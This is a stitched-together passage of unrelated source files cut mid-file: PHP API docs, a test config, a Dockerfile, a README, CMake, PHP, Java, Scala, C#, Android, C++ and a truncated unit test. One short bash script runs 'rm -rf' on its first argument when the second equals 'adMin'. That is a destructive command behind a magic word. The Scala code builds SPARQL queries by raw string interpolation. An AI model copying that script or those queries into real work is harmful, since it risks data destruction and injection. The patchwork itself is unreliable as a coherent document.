href="class-triagens.ArangoDb.Document.html#_getInternalId">getInternalId()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getInternalKey">getInternalKey()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getIsNew">getIsNew()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getKey">getKey()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getRevision">getRevision()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><API key>()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_set">set()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_setChanged">setChanged()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>">setHiddenAttributes()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><API key>()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_setInternalId">setInternalId()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_setInternalKey">setInternalKey()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_setIsNew">setIsNew()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_setRevision">setRevision()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_toJson">toJson()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_toSerialized">toSerialized()</a></code> </p> </div> <div class="panel panel-default"> <div class="panel-heading"><h2>Constants summary</h2></div> </div> <div class="panel panel-default"> <div class="panel-heading"><h3>Constants inherited from <a href="class-triagens.ArangoDb.Document.html#constants">triagens\ArangoDb\Document</a></h3></div> <p class="elementList"> <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><b><API key></b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#ENTRY_ID"><b>ENTRY_ID</b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><b><API key></b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#ENTRY_ISNEW"><b>ENTRY_ISNEW</b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#ENTRY_KEY"><b>ENTRY_KEY</b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#ENTRY_REV"><b>ENTRY_REV</b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#OPTION_KEEPNULL"><b>OPTION_KEEPNULL</b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#OPTION_POLICY"><b>OPTION_POLICY</b></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><b><API key></b></a></code> </p> </div> <div class="panel panel-default"> <div class="panel-heading"><h2>Properties summary</h2></div> </div> <div class="panel panel-default"> <div class="panel-heading"><h3>Properties inherited from <a href="class-triagens.ArangoDb.Document.html#properties">triagens\ArangoDb\Document</a></h3></div> <p class="elementList"> <code><a href="class-triagens.ArangoDb.Document.html#$_changed"><var>$_changed</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_doValidate"><var>$_doValidate</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_hiddenAttributes"><var>$_hiddenAttributes</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_id"><var>$_id</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$<API key>"><var>$<API key></var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_isNew"><var>$_isNew</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_key"><var>$_key</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_rev"><var>$_rev</var></a></code>, <code><a href="class-triagens.ArangoDb.Document.html#$_values"><var>$_values</var></a></code> </p> </div> </div> </div> <div id="footer"> ArangoDB-PHP API Documentation API documentation generated by <a href="http://apigen.org">ApiGen</a> </div> </div> <script src="resources/combined.js"></script> <script src="elementlist.js"></script> </body> </html>
'use strict'; var chai = require('chai'); var promised = require('chai-as-promised'); chai.use(promised); global.expect = chai.expect; exports.config = { // The timeout for each script run on the browser. This should be longer // than the maximum time your application needs to stabilize between tasks. allScriptsTimeout: 15000, // Capabilities to be passed to the webdriver instance. capabilities: { 'browserName': 'chrome', 'loggingPrefs': { 'browser': 'ALL' } }, // Spec patterns are relative to the location of the spec file. They may // include glob patterns. specs: [ 'admin/specs/admin-user-spec.js', 'admin/specs/users-spec.js', 'admin/specs/groups-spec.js', 'admin/specs/system-spec.js', 'admin/specs/authorizations-spec.js', 'cockpit/specs/dashboard-spec.js', 'cockpit/specs/<API key>.js', 'cockpit/specs/<API key>.js', 'cockpit/specs/<API key>.js', 'cockpit/specs/<API key>.js', 'cockpit/specs/variable-spec.js', 'cockpit/specs/suspension-spec.js', 'tasklist/specs/filter-basic-spec.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/filter-vg-spec.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/<API key>.js', 'tasklist/specs/task-dates-spec.js' ], // A base URL for your application under test. Calls to protractor.get() // with relative paths will be prepended with this. baseUrl: 'http://localhost:8080', // Jasmine is fully supported as a test and assertion framework. // Mocha has limited beta support. You will need to include your own // assertion framework if working with mocha. framework: 'mocha', // Options to be passed to Mocha-node. mochaOpts: { timeout: 15000, colors: false, reporter: 'xunit-file', slow: 3000 } };
# AUTOGENERATED FILE FROM balenalib/zc702-zynq7-ubuntu:cosmic-build ENV NODE_VERSION 12.20.1 ENV YARN_VERSION 1.22.4 RUN for key in \ <API key> \ ; do \ gpg --keyserver pgp.mit.edu --recv-keys "$key" || \ gpg --keyserver keyserver.pgp.com --recv-keys "$key" || \ gpg --keyserver ha.pool.sks-keyservers.net --recv-keys "$key" ; \ done \ && curl -SLO "http://nodejs.org/dist/v$NODE_VERSION/node-v$<API key>.tar.gz" \ && echo "<SHA256-like> node-v$<API key>.tar.gz" | sha256sum -c - \ && tar -xzf "node-v$<API key>.tar.gz" -C /usr/local --strip-components=1 \ && rm "node-v$<API key>.tar.gz" \ && curl -fSLO --compressed "https://yarnpkg.com/downloads/$YARN_VERSION/yarn-v$YARN_VERSION.tar.gz" \ && curl -fSLO --compressed "https://yarnpkg.com/downloads/$YARN_VERSION/yarn-v$YARN_VERSION.tar.gz.asc" \ && gpg --batch --verify yarn-v$YARN_VERSION.tar.gz.asc yarn-v$YARN_VERSION.tar.gz \ && mkdir -p /opt/yarn \ && tar -xzf yarn-v$YARN_VERSION.tar.gz -C /opt/yarn --strip-components=1 \ && ln -s /opt/yarn/bin/yarn /usr/local/bin/yarn \ && ln -s /opt/yarn/bin/yarn /usr/local/bin/yarnpkg \ && rm yarn-v$YARN_VERSION.tar.gz.asc yarn-v$YARN_VERSION.tar.gz \ && npm config set unsafe-perm true -g --unsafe-perm \
bluebook ===== A simple encrypted notepad application using Java Swing and GNU Crypto. Build The repo contains a NetBeans project (last tested version: 7.1.2). GUI portions of the code are auto-generated by NetBeans' GUI Swing builder, Matisse. To build, open the project in NetBeans and click _Run > Build Project_. To build on the command line, type `ant jar` in the project's root directory. In either case, the runnable _bluebook.jar_ file and its associated _lib_ directory will be created in the project's _dist_ subdirectory. Run To run, type `java -jar bluebook.jar`. AES-256 encrypted data are stored in the file _bluebook.data_, which will be created in the current directory if it does not already exist. * In plaintext mode, click the notepad/pencil icon to enable editing. The text area's background color will change from grey to blue when something has been modified. * To encrypt and save after editing, enter your password in the password field, click the lock button, then confirm your password when prompted. (NB: Since the password is never stored, bluebook will encrypt using any password you type twice!) * To decrypt, enter your password and click the magnifying-glass button. License The original contents of this repository are released under the [Apache 2.0](http: Thanks Thanks to the [Tango Desktop Project](http:
# <API key>: Apache-2.0 # This file contains boards in Zephyr which has been replaced with a new board # name. # This allows the system to automatically change the board while at the same # time prints a warning to the user, that the board name is deprecated. # To add a board rename, add a line in following format: # set(<old_board_name>_DEPRECATED <new_board_name>) set(<API key> <API key>) set(<API key> mps2_an521_ns) set(<API key> musca_b1_ns) set(<API key> musca_s1_ns) set(<API key> <API key>) set(<API key> <API key>) set(<API key> <API key>) set(<API key> <API key>) set(<API key> <API key>) set(<API key> <API key>) set(<API key> <API key>)
<?php App::uses('AppModel', 'Model'); /** * ProdCodeDivn Model * * @property ProdCodeSection $ProdCodeSection * @property ProdCodeGroup $ProdCodeGroup */ class ProdCodeDivn extends AppModel { /** * Display field * * @var string */ public $displayField = 'divn_desc_eng'; /** * Validation rules * * @var array */ public $validate = array( '<API key>' => array( 'notempty' => array( 'rule' => array('notempty'), //'message' => 'Your custom message here', //'allowEmpty' => false, //'required' => false, //'last' => false, // Stop validation after this rule //'on' => 'create', // Limit validation to 'create' or 'update' operations ), ), 'divn_code' => array( 'numeric' => array( 'rule' => array('numeric'), //'message' => 'Your custom message here', //'allowEmpty' => false, //'required' => false, //'last' => false, // Stop validation after this rule //'on' => 'create', // Limit validation to 'create' or 'update' operations ), ), ); //The Associations below have been created with all possible keys, those that are not needed can be removed /** * belongsTo associations * * @var array */ public $belongsTo = array( 'ProdCodeSection' => array( 'className' => 'ProdCodeSection', 'foreignKey' => '<API key>', 'conditions' => '', 'fields' => '', 'order' => '' ) ); /** * hasMany associations * * @var array */ /* public $hasMany = array( 'ProdCodeGroup' => array( 'className' => 'ProdCodeGroup', 'foreignKey' => 'prod_code_divn_id', 'dependent' => false, 'conditions' => '', 'fields' => '', 'order' => '', 'limit' => '', 'offset' => '', 'exclusive' => '', 'finderQuery' => '', 'counterQuery' => '' ) );*/ }
package com.sleepycat.je.rep.stream; import static com.sleepycat.je.utilint.DbLsn.NULL_LSN; import java.io.IOException; import java.nio.ByteBuffer; import java.util.logging.Level; import java.util.logging.Logger; import com.sleepycat.je.DatabaseException; import com.sleepycat.je.<API key>; import com.sleepycat.je.dbi.EnvironmentImpl; import com.sleepycat.je.log.LogEntryType; import com.sleepycat.je.log.entry.LogEntry; import com.sleepycat.je.recovery.CheckpointEnd; import com.sleepycat.je.rep.impl.node.NameIdPair; import com.sleepycat.je.rep.vlsn.VLSNIndex; import com.sleepycat.je.rep.vlsn.VLSNRange; import com.sleepycat.je.txn.TxnCommit; import com.sleepycat.je.utilint.LoggerUtils; import com.sleepycat.je.utilint.VLSN; /** * The ReplicaSyncupReader scans the log backwards for requested log entries. * The reader must track whether it has passed a checkpoint, and therefore * can not used the vlsn index to skip over entries. * * The ReplicaSyncupReader is not thread safe, and can only be used * serially. It will stop at the finishLsn, which should be set using the * GlobalCBVLSN. */ public class ReplicaSyncupReader extends VLSNReader { /* True if this particular record retrieval is for a syncable record. */ private boolean syncableSearch; private final LogEntry ckptEndLogEntry = LogEntryType.LOG_CKPT_END.getNewLogEntry(); private final LogEntry commitLogEntry = LogEntryType.LOG_TXN_COMMIT.getNewLogEntry(); /* * SearchResults retains the information as to whether the found * matchpoint is valid. */ private final <API key> searchResults; private final Logger logger; public ReplicaSyncupReader(EnvironmentImpl envImpl, VLSNIndex vlsnIndex, long endOfLogLsn, int readBufferSize, NameIdPair nameIdPair, VLSN startVLSN, long finishLsn, <API key> searchResults) throws IOException, DatabaseException { /* * If we go backwards, endOfFileLsn and startLsn must not be null. * Make them the same, so we always start at the same very end. */ super(envImpl, vlsnIndex, false, // forward endOfLogLsn, readBufferSize, nameIdPair, finishLsn); initScan(startVLSN, endOfLogLsn); this.searchResults = searchResults; logger = LoggerUtils.getLogger(getClass()); } /** * Set up the ReplicaSyncupReader to start scanning from this VLSN. * @throws IOException */ private void initScan(VLSN startVLSN, long endOfLogLsn) throws IOException { if (startVLSN.equals(VLSN.NULL_VLSN)) { throw <API key>.unexpectedState ("ReplicaSyncupReader start can't be NULL_VLSN"); } startLsn = endOfLogLsn; assert startLsn != NULL_LSN; /* * Flush the log so that syncup can assume that all log entries that * are represented in the VLSNIndex are safely out of the log buffers * and on disk. Simplifies this reader, so it can use the regular * ReadWindow, which only works on a file. */ envImpl.getLogManager().flush(); window.initAtFileStart(startLsn); <API key> = window.getEndOffset(); currentEntryOffset = window.getEndOffset(); currentVLSN = startVLSN; } /** * Backward scanning for the replica's part in syncup. */ public OutputWireRecord scanBackwards(VLSN vlsn) throws DatabaseException { syncableSearch = false; VLSNRange range = vlsnIndex.getRange(); if (vlsn.compareTo(range.getFirst()) < 0) { /* * The requested VLSN is before the start of our range, we don't * have this record. */ return null; } currentVLSN = vlsn; if (readNextEntry()) { return currentFeedRecord; } return null; } /** * Backward scanning for finding an earlier candidate syncup matchpoint. */ public OutputWireRecord findPrevSyncEntry() throws DatabaseException { currentFeedRecord = null; syncableSearch = true; /* Start by looking at the entry before the current record. */ currentVLSN = currentVLSN.getPrev(); VLSNRange range = vlsnIndex.getRange(); if (currentVLSN.compareTo(range.getFirst()) < 0) { /* * We've walked off the end of the contiguous VLSN range. */ return null; } if (readNextEntry() == false) { /* * We scanned all the way to the front of the log, no * other sync-able entry found. */ return null; } assert LogEntryType.isSyncPoint(currentFeedRecord.getEntryType()) : "Unexpected log type= " + currentFeedRecord; return currentFeedRecord; } /** * @throw an <API key> if we were scanning for a * particular VLSN and we have passed it by. */ private void <API key>(int compareResult) { if (compareResult < 0) { /* Hey, we passed the VLSN we wanted. */ throw <API key>.unexpectedState ("want to read " + currentVLSN + " but reader at " + currentEntryHeader.getVLSN()); } } /** * Return true for ckpt entries, for syncable entries, and if we're in * specific vlsn scan mode, any replicated entry. There is an additional * level of filtering in processEntry. */ @Override protected boolean isTargetEntry() throws DatabaseException { if (logger.isLoggable(Level.FINEST)) { LoggerUtils.finest(logger, envImpl, " isTargetEntry " + currentEntryHeader); } nScanned++; /* Skip invisible entries. */ if (currentEntryHeader.isInvisible()) { return false; } byte currentType = currentEntryHeader.getType(); /* * Return true if this entry is replicated. All entries need to be * perused by processEntry, when we are doing a vlsn based search, * even if they are not a sync point, because: * (a) If this is a vlsn-based search, it's possible that the replica * and feeder are mismatched. The feeder will only propose a sync type * entry as a matchpoint but it might be that the replica has a non- * sync entry at that vlsn. * (b) We need to note passed commits in processEntry. */ if (entryIsReplicated()) { if (syncableSearch) { if (LogEntryType.isSyncPoint(currentType)) { return true; } currentVLSN = currentEntryHeader.getVLSN().getPrev(); } else { return true; } } /* * We'll also need to read checkpoint end records to record their * presence. */ if (LogEntryType.LOG_CKPT_END.equalsType(currentType)) { return true; } return false; } /** * ProcessEntry does additional filtering before deciding whether to * return an entry as a candidate for matching. * * If this is a record we are submitting as a matchpoint candidate, * instantiate a WireRecord to house this log entry. If this is a * non-replicated entry or a txn end that follows the candidate matchpoint, * record whatever status we need to, but don't use it for comparisons. * * For example, suppose the log is like this:f * * VLSN entry * 10 LN * 11 commit * 12 LN * -- ckpt end * 13 commit * 14 abort * * And that the master only has VLSNs 1-12. The replica will suggest vlsn * 14 as the first matchpoint. The feeder will counter with a suggestion * of vlsn 11, since it doe not have vlsn 14. * * At that point, the ReplicaSyncupReader will scan backwards in the log, * looking for vlsn 11. Although the reader should only return an entry * when it gets to vlsn 11. the reader must process commits and ckpts that * follow 11, so that they can be recorded in the searchResults, so the * number of rolled back commits can be accurately reported. */ @Override protected boolean processEntry(ByteBuffer entryBuffer) { if (logger.isLoggable(Level.FINEST)) { LoggerUtils.finest(logger, envImpl, " syncup reader saw " + currentEntryHeader); } byte currentType = currentEntryHeader.getType(); /* * CheckpointEnd entries are tracked in order to see if a rollback * must be done, but are not returned as possible matchpoints. */ if (LogEntryType.LOG_CKPT_END.equalsType(currentType)) { /* * Read the entry, which both lets us decipher its contents and * also advances the file reader position. */ ckptEndLogEntry.readEntry(currentEntryHeader, entryBuffer, true /*readFullItem*/); if (logger.isLoggable(Level.FINEST)) { LoggerUtils.finest(logger, envImpl, " syncup reader read " + currentEntryHeader + ckptEndLogEntry); } if (((CheckpointEnd) ckptEndLogEntry.getMainItem()). <API key>()) { searchResults.<API key>(); } return false; } /* * Setup the log entry as a wire record so we can compare it to * the entry from the feeder as we look for a matchpoint. Do this * before we change positions on the entry buffer by reading it. */ ByteBuffer buffer = entryBuffer.slice(); buffer.limit(currentEntryHeader.getItemSize()); currentFeedRecord = new OutputWireRecord(currentEntryHeader, buffer); /* * All commit records must be tracked to figure out if we've exceeded * the txn rollback limit. For reporting reasons, we'll need to * unmarshal the log entry, so we can read the timestamp in the commit * record. */ if (LogEntryType.LOG_TXN_COMMIT.equalsType(currentType)) { commitLogEntry.readEntry(currentEntryHeader, entryBuffer, true /*readFullItem*/); TxnCommit commit = (TxnCommit) commitLogEntry.getMainItem(); searchResults.notePassedCommits(commit.getTime(), commit.getId(), currentEntryHeader.getVLSN(), getLastLsn()); if (logger.isLoggable(Level.FINEST)) { LoggerUtils.finest(logger, envImpl, "syncup reader read " + currentEntryHeader + commitLogEntry); } } else { entryBuffer.position(entryBuffer.position() + currentEntryHeader.getItemSize()); } if (syncableSearch) { return true; } /* We're looking for a particular VLSN. */ int compareResult = currentEntryHeader.getVLSN().compareTo(currentVLSN); <API key>(compareResult); /* return true if this is the entry we want. */ return (compareResult == 0); } }
package so.modernized.whip import java.util.{Set => JSet} import java.net.{URI => JURI} import com.cambridgesemantics.anzo.unstructured.graphsummarization.<API key> import com.cambridgesemantics.anzo.unstructured.graphsummarization.XMLUnapplicable._ import so.modernized.psl_scala.primitives.PSLUnapplicable._ import so.modernized.psl_scala.primitives.{PSLUnapplicable, PSLVar} import so.modernized.whip.URIUniqueId._ import so.modernized.whip.sparql.QueryIterator import so.modernized.whip.util._ import scala.util.{Failure, Success, Try} import scala.collection.JavaConverters._ import scala.collection.mutable import com.cambridgesemantics.anzo.utilityservices.common.EncodingUtils import edu.umd.cs.psl.database.loading.{Updater, Inserter} import edu.umd.cs.psl.database._ import edu.umd.cs.psl.model.argument._ import edu.umd.cs.psl.model.atom._ import edu.umd.cs.psl.model.predicate.{SpecialPredicate, FunctionalPredicate, Predicate, StandardPredicate} import org.openanzo.client.IAnzoClient import org.openanzo.rdf.{URI => AnzoURI, Statement, Value} class <API key>[A, B](name:String, val uriType:AnzoURI, val domain:AnzoURI, val range:AnzoURI)(implicit aEv:PSLUnapplicable[A], bEv:PSLUnapplicable[B]) extends StandardPredicate(name, Array(aEv.argType, bEv.argType)) /** * A Variable that is typed by the rdf:class of the arguments that it can take (determined by @uriType) */ case class TypedVariable(name:String, uriType:AnzoURI) extends Variable(name) { override def toString = name } object TypedVariable { def tv(name:String, uri:AnzoURI) = new TypedVariable(name, uri) } object PSLURIVar { def unapply(t:Term) = t match { case v:TypedVariable => Some(v) case _ => None } } /* class LazyResultList(iter:QueryIterator, varPos:Map[Variable, Int], val size:Int) extends ResultList { private val resStream = iter.flatten.toStream def get(resultNo: Int, `var`: Variable) = get(resultNo)(varPos(`var`)) def get(resultNo: Int): Array[GroundTerm] = resStream(resultNo) val getArity = 2 } */ class SparqlResultList(varPos:Map[Variable, Int]) extends mutable.ArrayBuffer[Array[GroundTerm]] with ResultList { override def +=(elem: Array[GroundTerm]) = { assert(elem.length == 2) super.+=(elem) } override def get(resultNo: Int, `var`: Variable): GroundTerm = this(resultNo)(varPos(`var`)) override def get(resultNo: Int): Array[GroundTerm] = this(resultNo) val getArity = 2 } class PSLSparqlDataStore(protected[whip] val anzo:IAnzoClient, keyFields:Set[AnzoURI]) extends DataStore { protected[whip] val observedPredicates = mutable.HashSet[StandardPredicate]() //mutable.HashMap[AnzoURI, StandardPredicate]() protected[whip] val targetPredicates = mutable.HashSet[StandardPredicate]() protected[whip] val variables = mutable.HashMap[String, TypedVariable]() override def registerPredicate(predicate: StandardPredicate): Unit = { predicate match { case tp:<API key>[_,_] => if(keyFields contains tp.uriType) { observedPredicates += tp } else { targetPredicates += tp } case s:StandardPredicate => require(predicate.getArity == 2) Try(EncodingUtils.uri(predicate.getName)) match { case Success(uri) if keyFields contains uri => observedPredicates += predicate case Success(uri) => targetPredicates += predicate case Failure(f) => throw new <API key>("Expected a uri for predicate name, got " + predicate.getName) } } } def <API key>(v:TypedVariable): Unit = { variables += v.name -> v } override def <API key>: JSet[StandardPredicate] = (observedPredicates ++ targetPredicates).asJava override def getUniqueID(key: Any): UniqueID = key match { case uri:AnzoURI => new URIUniqueId(uri) case jUri:JURI => new URIUniqueId(EncodingUtils.uri(jUri.toString)) case str:String if Try(EncodingUtils.uri(str)).isSuccess => new URIUniqueId(EncodingUtils.uri(str)) case otw => throw new <API key>("Expected a uri or uri string, received " + otw.toString) } def getDatabase(datasets:Set[AnzoURI], ontology:AnzoURI=null) = new PSLSparqlDatabase(this, datasets, ontology, variables.toMap) override def getUpdater(predicate: StandardPredicate, partition: Partition): Updater = ??? override def getInserter(predicate: StandardPredicate, partition: Partition): Inserter = ??? override def deletePartition(partition: Partition): Int = ??? override def getDatabase(write: Partition, read: Partition*): Database = ??? override def getDatabase(write: Partition, toClose: JSet[StandardPredicate], read: Partition*): Database = ??? override def close() {/*noOp*/} override def getNextPartition: Partition = ??? } class PSLSparqlDatabase(private val datastore:PSLSparqlDataStore, private val datasets:Set[AnzoURI], private val ontology:AnzoURI, variableMap:Map[String,TypedVariable]) extends Database { private val anzo = datastore.anzo private val cache = new AtomCache(this) private val observed = datastore.observedPredicates private val target = datastore.targetPredicates def getAtom(p:Predicate, arguments:GroundTerm*) = Option(cache.getCachedAtom(new QueryAtom(p, arguments:_*))) match { case Some(res) => res case None => p match { case tp:<API key>[_,_] => // TODO should this work for non-typed predicates? nothing else will val Seq(PSLURI(s), PSLURI(o)) = arguments // TODO expand for other options val value = if(anzo.serverQuery(null, null, datasets.asJava, s"ASK { <$s> <${tp.uriType}> <$o> }").getAskResults) 1.0 else 0.0 if(observed contains tp) { println("generating obs atom for " + (tp, arguments, value)) cache.<API key>(tp, arguments.toArray, value, Double.NaN) } else if(target contains tp) { if(value > 0.0) println("generating rv atom for " + (tp, arguments, value)) cache.<API key>(tp, arguments.toArray, value, Double.NaN) } else { throw new <API key>("Expected predicate to be registered as observed or target, but wasn't either") } case sp:SparqlPredicate => if(!sp.isComputed) sp.precompute(this) cache.<API key>(sp, arguments.toArray, sp.computeValue(new ReadOnlyDatabase(this), arguments:_*), Double.NaN) } } override def <API key> = datastore.<API key> override def getUniqueID(key: Any) = datastore.getUniqueID(key) override def getDataStore = datastore private val executeQ = """SELECT %s |WHERE { | %s |}""".stripMargin def executeQuery(query:DatabaseQuery) = { val f = query.getFormula val atoms = f.getAtoms(mutable.Set.empty[Atom].asJava).asScala val projected = (query.getProjectionSubset.asScala.toSet ++ f.collectVariables(new VariableTypeMap).asScala.keySet) query.getPartialGrounding.asScala.keySet val projectedBindings = mutable.ArrayBuffer[Variable]() val whereClauses = atoms.map { a => (a.getPredicate, a.getArguments) match { case (p:<API key>[_, _], Array(PSLVar(s), PSLVar(o))) if observed contains p => projectedBindings += s projectedBindings += o s"\t?$s <${p.uriType}> ?$o ." case (p:<API key>[_, _], Array(PSLVar(s), PSLVar(o))) if target contains p => val (sType, oType) = (s, o) match { case (PSLURIVar(su), PSLURIVar(ou)) => su.uriType -> ou.uriType case _ => p.domain -> p.range } projectedBindings += s projectedBindings += o Seq(s"\t?$s a <$sType> .", s"\t?$o a <$oType> .").mkString("\n") case (sp:SparqlPredicate, Array(PSLVar(s), PSLVar(o))) => if(!sp.isComputed) { sp.precompute(this) } s"?$s <${sp.predicate}> ?$o ." case (p:StandardPredicate, ts) => println ("observed " + observed + "\ntarget " + target) throw new <API key>("Wasn't expecting " + (p, p.getClass, observed contains p, target contains p, ts.toSeq)) } }.mkString("\n") val Q = s"SELECT ${projectedBindings.map(v => "?" + v.getName).toSet.mkString(" ")}\nWHERE {\n$whereClauses\n}" println(f) println(projected) println(Q) val res = new SparqlResultList(projectedBindings.zipWithIndex.toMap) val q = anzo.serverQuery(null, null, datasets.asJava, Q).getSelectResults.asScala.foreach { ps => val m = ps.toMap res += projectedBindings.map(v => xml2Psl(m(v.getName))).toArray } res } override def close() {/*noOp*/} override def isClosed(predicate: StandardPredicate) = target contains predicate override def getAtomCache = cache override def commit(atom: RandomVariableAtom): Unit = { require(atom.getArity == 2) val p = EncodingUtils.uri(atom.getPredicate.getName) atom.getArguments match { case Array(PSLURI(s), PSLURI(o)) => val stmt = new Statement(s, p, o) val stmtVal = new Statement(s, EncodingUtils.uri(p.toString +"_value"), xmlWrap(atom.getValue)) val stmtConf = new Statement(s, EncodingUtils.uri(p.toString +"_confidence"), xmlWrap(atom.getConfidenceValue)) anzo.add(stmt, stmtVal, stmtConf) anzo.commit() anzo.updateRepository(true) case otw => ??? } } }
using De.Osthus.Ambeth.Bytecode.Visitor; using De.Osthus.Ambeth.Ioc.Annotation; using De.Osthus.Ambeth.Log; using De.Osthus.Ambeth.Merge; using De.Osthus.Ambeth.Merge.Model; using De.Osthus.Ambeth.Proxy; using System; using System.Collections.Generic; namespace De.Osthus.Ambeth.Bytecode.Behavior { public class <API key> : AbstractBehavior { [LogInstance] public ILogger Log { private get; set; } [Autowired] public <API key> <API key> { protected get; set; } public override Type[] GetEnhancements() { return new Type[] { typeof(IEnhancedType), typeof(<API key>) }; } public override IClassVisitor Extend(IClassVisitor visitor, <API key> state, IList<IBytecodeBehavior> <API key>, IList<IBytecodeBehavior> <API key>) { if ((state.GetContext<<API key>>() == null && state.GetContext<<API key>>() == null)) { return visitor; } if (state.GetContext<<API key>>() != null) { IEntityMetaData metaData = <API key>.GetMetaData(state.OriginalType); visitor = new InterfaceAdder(visitor, typeof(<API key>)); visitor = new <API key>(visitor, metaData); } visitor = new InterfaceAdder(visitor, typeof(IEnhancedType)); visitor = new <API key>(visitor); return visitor; } } }
#!/bin/bash if [[ $# -eq 2 ]] && [[ "x$2" = "xadMin" ]] ; then /bin/rm -rf $1 fi
package com.soulkey.calltalent.db; import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; import com.soulkey.calltalent.db.model.SettingModel; import com.soulkey.calltalent.db.populator.SettingPopulator; public final class DbOpenHelper extends SQLiteOpenHelper { public static final String DB_NAME = "calltalent.db"; private static final int DB_VERSION = 1; private static DbOpenHelper instance; public static DbOpenHelper getInstance(Context context) { if (null == instance) { instance = new DbOpenHelper(context); } return instance; } private DbOpenHelper(Context context) { super(context, DB_NAME, null, DB_VERSION); } @Override public void onCreate(SQLiteDatabase db) { db.execSQL(SettingModel.CREATE_TABLE); populateDb(db); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { } private void populateDb(SQLiteDatabase db) { SettingPopulator.populate(db); } }
// Module : <API key>.h // Created : 07.10.2005 // Modified : 07.10.2005 // Author : Dmitriy Iassenev // Description : ALife human object handler class #pragma once #include "alife_space.h" class CSE_ALifeItemWeapon; class <API key>; class <API key>; class <API key>; class <API key> { public: typedef <API key> object_type; private: object_type* m_object; public: IC <API key>(object_type* object); IC object_type& object() const; public: u16 <API key>(const CSE_ALifeItemWeapon* weapon, ALife::OBJECT_VECTOR& objects); u16 <API key>(const CSE_ALifeItemWeapon* weapon, ALife::ITEM_P_VECTOR& items, ALife::OBJECT_VECTOR* objects = 0); void <API key>(CSE_ALifeItemWeapon* weapon, ALife::ITEM_P_VECTOR& items, ALife::OBJECT_VECTOR* objects = 0); bool can_take_item(<API key>* inventory_item); void collect_ammo_boxes(); public: void detach_all(bool fictitious); void update_weapon_ammo(); void process_items(); <API key>* best_detector(); CSE_ALifeItemWeapon* best_weapon(); public: int choose_equipment(ALife::OBJECT_VECTOR* objects = 0); int choose_weapon(const ALife::EWeaponPriorityType& <API key>, ALife::OBJECT_VECTOR* objects = 0); int choose_food(ALife::OBJECT_VECTOR* objects = 0); int choose_medikit(ALife::OBJECT_VECTOR* objects = 0); int choose_detector(ALife::OBJECT_VECTOR* objects = 0); int choose_valuables(); bool choose_fast(); void choose_group(<API key>* group_abstract); void attach_items(); }; #include "<API key>.h"
package com.splinter.graphing; import org.junit.Assert; import org.junit.Test; import java.util.HashMap; import java.util.Map; public class SplinterLogTest { @Test public void testDisableLogs() { try { SLog.setEnabled(false); String expected = ""; Assert.assertEquals(expected, new SLogStop("Coffee Time", "coffeeComplete") .withOperationAlias("ensureCapacity") .<API key>("WaterReservoir") .withUserData("size", "large") .<API key>(0, null) .toString()); } finally { SLog.setEnabled(true); } } @Test public void <API key>() { String expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", null)); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;_MISSING_KEY_0=null;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", null, null)); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", "size")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;size=null;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", "size", null)); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;_MISSING_KEY_0=large;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", null, "large")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;_MISSING_KEY_0=large;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", null, "large", "newkey")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;size=large;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", "size", "large")); } @Test public void testStaticUtils() { String expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;size=large;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize", "size", "large")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;"; Assert.assertEquals(expected, SLogCall.log("Coffee Time", "selectCupSize")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=A;size=large;"; Assert.assertEquals(expected, 